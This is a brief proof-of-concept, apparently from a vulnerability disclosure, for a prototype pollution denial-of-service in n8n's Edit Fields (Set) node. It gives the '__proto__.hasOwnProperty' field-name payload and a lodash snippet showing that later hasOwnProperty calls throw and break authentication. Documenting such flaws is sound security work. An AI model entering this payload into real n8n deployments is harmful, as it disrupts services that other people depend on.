n8n Edit Fields (Set) Node Prototype Pollution Denial of Service

// In the Edit Fields (Set) node, add a new field with:
// Field Name:  __proto__.hasOwnProperty
// Field Value: 1   (any truthy value)
//
// When the workflow runs, the Set node internally calls something like:
//   _.set(outputItem, '__proto__.hasOwnProperty', 1)
// This writes onto Object.prototype:
//   Object.prototype.hasOwnProperty = 1
// All subsequent calls to obj.hasOwnProperty(...) in the process throw
// a TypeError instead of returning a boolean, breaking the auth path.

// Equivalent JS that demonstrates the primitive:
const _ = require('lodash'); // or n8n's own dot-notation setter
const obj = {};
_.set(obj, '__proto__.hasOwnProperty', 1);
console.log(({}).hasOwnProperty('x')); // TypeError: hasOwnProperty is not a function